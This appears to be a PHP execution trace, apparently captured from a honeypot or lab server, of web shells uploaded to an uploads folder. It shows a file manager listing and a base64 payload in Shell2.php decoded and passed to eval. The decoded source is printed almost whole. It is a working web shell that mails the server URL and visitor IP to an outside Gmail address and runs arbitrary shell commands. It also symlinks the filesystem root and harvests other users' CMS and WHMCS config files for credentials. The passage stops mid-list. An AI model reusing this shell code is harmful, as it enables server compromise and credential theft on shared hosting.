3 A /var/www/html/uploads/titit.php(89) : eval()'d code 836 $info .= 'x'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 840 $info .= 'w'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 843 $info .= 'x'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 847 $info .= 'w'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 850 $info .= 'x'
3 30 1 0.004534 709304
3 30 R 'drwxrwxrwx'
3 32 0 0.004548 709264 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 742 1 '/var/www/html/uploads/data'
3 32 1 0.004565 709304
3 32 R TRUE
3 33 0 0.004584 709240 is_dir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 733 1 '/var/www/html/uploads/prepend.php'
3 33 1 0.004601 709288
3 33 R FALSE
3 34 0 0.004615 709240 is_dir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 733 1 '/var/www/html/uploads/titit.php'
3 34 1 0.004630 709272
3 34 R FALSE
3 35 0 0.004645 709224 is_file 0 /var/www/html/uploads/titit.php(89) : eval()'d code 761 1 '/var/www/html/uploads/.'
3 35 1 0.004660 709256
3 35 R FALSE
3 36 0 0.004674 709224 is_file 0 /var/www/html/uploads/titit.php(89) : eval()'d code 761 1 '/var/www/html/uploads/..'
3 36 1 0.004688 709272
3 36 R FALSE
3 37 0 0.004702 709232 is_file 0 /var/www/html/uploads/titit.php(89) : eval()'d code 761 1 '/var/www/html/uploads/.htaccess'
3 37 1 0.004717 709272
3 37 R TRUE
3 38 0 0.004730 709232 filesize 0 /var/www/html/uploads/titit.php(89) : eval()'d code 762 1 '/var/www/html/uploads/.htaccess'
3 38 1 0.004753 709272
3 38 R 64
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 762 $size = 0.0625
3 39 0 0.004779 709176 round 0 /var/www/html/uploads/titit.php(89) : eval()'d code 763 2 0.0625 3
3 39 1 0.004794 709248
3 39 R 0.063
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 763 $size = 0.063
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 767 $size = '0.063 KB'
3 40 0 0.004832 709272 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 775 1 '/var/www/html/uploads/.htaccess'
3 40 1 0.004849 709312
3 40 R FALSE
3 41 0 0.004866 709272 is_readable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 776 1 '/var/www/html/uploads/.htaccess'
3 41 1 0.004882 709312
3 41 R TRUE
3 42 0 0.004895 709272 perms 1 /var/www/html/uploads/titit.php(89) : eval()'d code 777 1 '/var/www/html/uploads/.htaccess'
4 43 0 0.004909 709272 fileperms 0 /var/www/html/uploads/titit.php(89) : eval()'d code 803 1 '/var/www/html/uploads/.htaccess'
4 43 1 0.004922 709312
4 43 R 33188
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 803 $perms = 33188
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 813 $info = '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 836 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 840 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 843 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 847 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 850 $info .= '-'
3 42 1 0.005055 709312
3 42 R '-rw-r--r--'
3 44 0 0.005070 709272 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 778 1 '/var/www/html/uploads/.htaccess'
3 44 1 0.005087 709312
3 44 R FALSE
3 45 0 0.005101 709272 is_readable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 778 1 '/var/www/html/uploads/.htaccess'
3 45 1 0.005117 709312
3 45 R TRUE
3 46 0 0.005131 709272 is_file 0 /var/www/html/uploads/titit.php(89) : eval()'d code 761 1 '/var/www/html/uploads/data'
3 46 1 0.005147 709312
3 46 R FALSE
3 47 0 0.005161 709280 is_file 0 /var/www/html/uploads/titit.php(89) : eval()'d code 761 1 '/var/www/html/uploads/prepend.php'
3 47 1 0.005177 709328
3 47 R TRUE
3 48 0 0.005190 709288 filesize 0 /var/www/html/uploads/titit.php(89) : eval()'d code 762 1 '/var/www/html/uploads/prepend.php'
3 48 1 0.005204 709328
3 48 R 57
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 762 $size = 0.0556640625
3 49 0 0.005229 709184 round 0 /var/www/html/uploads/titit.php(89) : eval()'d code 763 2 0.0556640625 3
3 49 1 0.005253 709256
3 49 R 0.056
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 763 $size = 0.056
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 767 $size = '0.056 KB'
3 50 0 0.005292 709288 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 775 1 '/var/www/html/uploads/prepend.php'
3 50 1 0.005310 709328
3 50 R FALSE
3 51 0 0.005323 709288 is_readable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 776 1 '/var/www/html/uploads/prepend.php'
3 51 1 0.005339 709328
3 51 R TRUE
3 52 0 0.005352 709288 perms 1 /var/www/html/uploads/titit.php(89) : eval()'d code 777 1 '/var/www/html/uploads/prepend.php'
4 53 0 0.005366 709288 fileperms 0 /var/www/html/uploads/titit.php(89) : eval()'d code 803 1 '/var/www/html/uploads/prepend.php'
4 53 1 0.005380 709328
4 53 R 33261
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 803 $perms = 33261
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 813 $info = '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 836 $info .= 'x'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 840 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 843 $info .= 'x'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 847 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 850 $info .= 'x'
3 52 1 0.005507 709328
3 52 R '-rwxr-xr-x'
3 54 0 0.005521 709288 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 778 1 '/var/www/html/uploads/prepend.php'
3 54 1 0.005542 709328
3 54 R FALSE
3 55 0 0.005556 709288 is_readable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 778 1 '/var/www/html/uploads/prepend.php'
3 55 1 0.005573 709328
3 55 R TRUE
3 56 0 0.005586 709280 is_file 0 /var/www/html/uploads/titit.php(89) : eval()'d code 761 1 '/var/www/html/uploads/titit.php'
3 56 1 0.005602 709312
3 56 R TRUE
3 57 0 0.005615 709272 filesize 0 /var/www/html/uploads/titit.php(89) : eval()'d code 762 1 '/var/www/html/uploads/titit.php'
3 57 1 0.005629 709312
3 57 R 54046
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 762 $size = 52.779296875
3 58 0 0.005654 709176 round 0 /var/www/html/uploads/titit.php(89) : eval()'d code 763 2 52.779296875 3
3 58 1 0.005668 709248
3 58 R 52.779
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 763 $size = 52.779
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 767 $size = '52.779 KB'
3 59 0 0.005799 709272 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 775 1 '/var/www/html/uploads/titit.php'
3 59 1 0.005818 709312
3 59 R FALSE
3 60 0 0.005831 709272 is_readable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 776 1 '/var/www/html/uploads/titit.php'
3 60 1 0.005847 709312
3 60 R TRUE
3 61 0 0.005861 709272 perms 1 /var/www/html/uploads/titit.php(89) : eval()'d code 777 1 '/var/www/html/uploads/titit.php'
4 62 0 0.005874 709272 fileperms 0 /var/www/html/uploads/titit.php(89) : eval()'d code 803 1 '/var/www/html/uploads/titit.php'
4 62 1 0.005888 709312
4 62 R 33204
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 803 $perms = 33204
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 813 $info = '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 833 $info .= 'w'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 836 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 839 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 840 $info .= 'w'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 843 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 846 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 847 $info .= '-'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 850 $info .= '-'
3 61 1 0.006014 709312
3 61 R '-rw-rw-r--'
3 63 0 0.006029 709272 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 778 1 '/var/www/html/uploads/titit.php'
3 63 1 0.006048 709312
3 63 R FALSE
3 64 0 0.006062 709272 is_readable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 778 1 '/var/www/html/uploads/titit.php'
3 64 1 0.006099 709312
3 64 R TRUE
2 5 1 0.006117 709216
1 3 1 0.006150 518496
0.006185 436216
TRACE END [2023-02-12 20:21:07.295885]
data/traces/b6f9684acc7268ddf4627e64460bb302_trace-1676243834.6603.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:17:40.558155]
1 0 1 0.000147 393528
1 3 0 0.000338 448816 {main} 1 /var/www/html/uploads/Shell2.php 0 0
1 A /var/www/html/uploads/Shell2.php 88 $code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2 4 0 0.000417 448816 base64_decode 0 /var/www/html/uploads/Shell2.php 89 1 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2 4 1 0.000598 502096
2 4 R '@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\n'
2 5 0 0.001622 707592 eval 1 '@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n\r\n//function\r\nfunction ambilKata($param, $kata1, $kata2){\r\n if(strpos($param, $kata1) === FALSE) return FALSE;\r\n if(strpos($param, $kata2) === FALSE) return FALSE;\r\n $start = strpos($param, $kata1) + strlen($kata1);\r\n $end = strpos($param, $kata2, $start);\r\n $return = substr($param, $start, $end - $start);\r\n return $return;\r\n}\r\nif(get_magic_quotes_gpc()) {\r\n function idx_ss($array) {\r\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\r\n }\r\n $_POST = idx_ss($_POST);\r\n}\r\n\r\nfunction exe($cmd) {\r\n if(function_exists(\'system\')) { \r\n@ob_start(); \r\n@system($cmd); \r\n$buff = @ob_get_contents(); \r\n@ob_end_clean(); \r\nreturn $buff; \r\n } elseif(function_exists(\'exec\')) { \r\n@exec($cmd,$results); \r\n$buff = ""; \r\nforeach($results as $result) { \r\n $buff .= $result; \r\n} return $buff; \r\n } elseif(function_exists(\'passthru\')) { \r\n@ob_start(); \r\n@passthru($cmd); \r\n$buff = @ob_get_contents(); \r\n@ob_end_clean(); \r\nreturn $buff; \r\n } elseif(function_exists(\'shell_exec\')) { \r\n$buff = @shell_exec($cmd); \r\nreturn $buff; \r\n }\r\n}\r\n\r\n//check dir\r\n$nick = "k0v3T";\r\nif(isset($_GET[\'path\'])){\r\n$path = $_GET[\'path\'];\r\n}else{\r\n$path = getcwd();\r\n}\r\n$software = getenv("SERVER_SOFTWARE");\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\n\r\n\r\n////////////////////////////////////////\r\n\r\nif(!function_exists(\'posix_getegid\')) {\r\n $user = @get_current_user();\r\n $uid = @getmyuid();\r\n $gid = @getmygid();\r\n $group = "?";\r\n} else {\r\n $uid = @posix_getpwuid(posix_geteuid());\r\n $gid = @posix_getgrgid(posix_getegid());\r\n $user = $uid[\'name\'];\r\n $uid = $uid[\'uid\'];\r\n $group = $gid[\'name\'];\r\n $gid = $gid[\'gid\'];\r\n} \r\n//uname\r\necho "<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>";\r\nforeach($paths as $id=>$pat){\r\nif($pat == \'\' && $id == 0){\r\n$a = true;\r\necho \'<a href="?path=/">/</a>\';\r\ncontinue;\r\n}\r\nif($pat == \'\') continue;\r\necho \'<a href="?path=\';\r\nfor($i=0;$i<=$id;$i++){\r\necho "$paths[$i]";\r\nif($i != $id) echo "/";\r\n}\r\necho \'"><font color=red size=3>\'.$pat.\'</font></a>/\';\r\n}\r\n\r\n##TOOLBAR\r\necho "<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href=\'?\' class=\'tombols\'>Home</a>\r\n<font size=3><a href=\'?path=$path&a=upload\' class=\'tombols\'>Upload</a>\r\n<font size=3><a href=\'?path=$path&a=cmd\' class=\'tombols\'>Command</a>\r\n<font size=3><a href=\'?path=$path&a=configv2\' class=\'tombols\'>Config</a>\r\n<font size=3><a href=\'?path=$path&a=jumping\' class=\'tombols\'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href=\'?path=$path&a=symlink\' class=\'tombols\'>Symlink</a>\r\n<font size=3><a href=\'?path=$path&a=disablefunc\' class=\'tombols\'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>";\r\n\r\n//uploads\r\nif($_GET[\'a\'] == \'upload\') {\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="#5ddcfc">Berhasil Upload gan!</font><br />\';\r\n}else{\r\necho \'<font color="red">Gagal Upload Gan</font><br />\';\r\n}\r\n}\r\necho \'<form enctype="multipart/form-data" method="POST"><font color="red" size="4">\r\nUpload File :<br><input type="file" name="file" />\r\n<input type="submit" value="Upload" />\r\n</form><br>\r\n</td></tr>\';\t\r\n\r\n\r\n} elseif($_GET[\'a\'] == \'configv2\') {\r\n\t\t\tif(strtolower(substr(PHP_OS, 0, 3)) == "win"){\r\necho \'<script>alert("Tidak bisa di gunakan di server windows")</script>\';\r\nexit;\r\n}\r\n\tif($_POST){\tif($_POST[\'config\'] == \'symvhosts\') {\r\n\t\t@mkdir("k0v3T_symvhosts", 0777);\r\nexe("ln -s / k0v3T_symvhosts/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symvhosts/.htaccess",$htaccess);\r\n\t\t$etc_passwd=$_POST[\'passwd\'];\r\n \r\n $etc_passwd=explode("\\n",$etc_passwd);\r\nforeach($etc_passwd as $passwd){\r\n$pawd=explode(":",$passwd);\r\n$user =$pawd[5];\r\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\r\nif (preg_match(\'/vhosts/i\',$user)){\r\nexe("ln -s ".$user."/httpdocs/wp-config.php k0v3T_symvhosts/".$jembod."-Wordpress.txt");\r\nexe("ln -s ".$user."/httpdocs/configuration.php k0v3T_symvhosts/".$jembod."-Joomla.txt");\r\nexe("ln -s ".$user."/httpdocs/config/koneksi.php k0v3T_symvhosts/".$jembod."-Lokomedia.txt");\r\nexe("ln -s ".$user."/httpdocs/forum/config.php k0v3T_symvhosts/".$jembod."-phpBB.txt");\r\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php k0v3T_symvhosts/".$jembod."-Drupal.txt");\r\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php k0v3T_symvhosts/".$jembod."-PrestaShop.txt");\r\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml k0v3T_symvhosts/".$jembod."-Magento.txt");\r\nexe("ln -s ".$user."/httpdocs/admin/config.php k0v3T_symvhosts/".$jembod."-OpenCart.txt");\r\nexe("ln -s ".$user."/httpdocs/application/config/database.php k0v3T_symvhosts/".$jembod."-Ellislab.txt"); \r\n}}}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@mkdir("k0v3T_symconfig", 0777);\r\n@symlink("/","k0v3T_symconfig/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symconfig/.htaccess",$htaccess);}\r\nif($_POST[\'config\'] == \'404\') {\r\n@mkdir("k0v3T_sym404", 0777);\r\n@symlink("/","k0v3T_sym404/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\r\n@file_put_contents("k0v3T_sym404/.htaccess",$htaccess);\r\n}\r\nif($_POST[\'config\'] == \'grab\') {\r\n\t\t\t\t\t\tmkdir("k0v3T_configgrab", 0777);\r\n\t\t\t\t\t\t$isi_htc = "Options all\\nRequire None\\nSatisfy Any";\r\n\t\t\t\t\t\t$htc = fopen("k0v3T_configgrab/.htaccess","w");\r\n\t\t\t\t\t\tfwrite($htc, $isi_htc);\t\r\n}\r\n$passwd = $_POST[\'passwd\'];\r\n\r\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\r\nforeach($user_config[1] as $user_k0v3T) {\r\n$grab_config = array(\r\n"/home/$user_k0v3T/.accesshash" => "WHM-accesshash",\r\n"/home/$user_k0v3T/public_html/config/koneksi.php" => "Lokomedia",\r\n"/home/$user_k0v3T/public_html/forum/config.php" => "phpBB",\r\n"/home/$user_k0v3T/public_html/sites/default/settings.php" => "Drupal",\r\n"/home/$user_k0v3T/public_html/config/settings.inc.php" => "PrestaShop",\r\n"/home/$user_k0v3T/public_html/app/etc/local.xml" => "Magento",\r\n"/home/$user_k0v3T/public_html/admin/config.php" => "OpenCart",\r\n"/home/$user_k0v3T/public_html/application/config/database.php" => "Ellislab",\r\n"/home/$user_k0v3T/public_html/vb/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forum/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forums/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/cc/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/inc/config.php" => "MyBB",\r\n"/home/$user_k0v3T/public_html/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/shop/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/os/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/oscom/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/products/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\r\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\r\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => 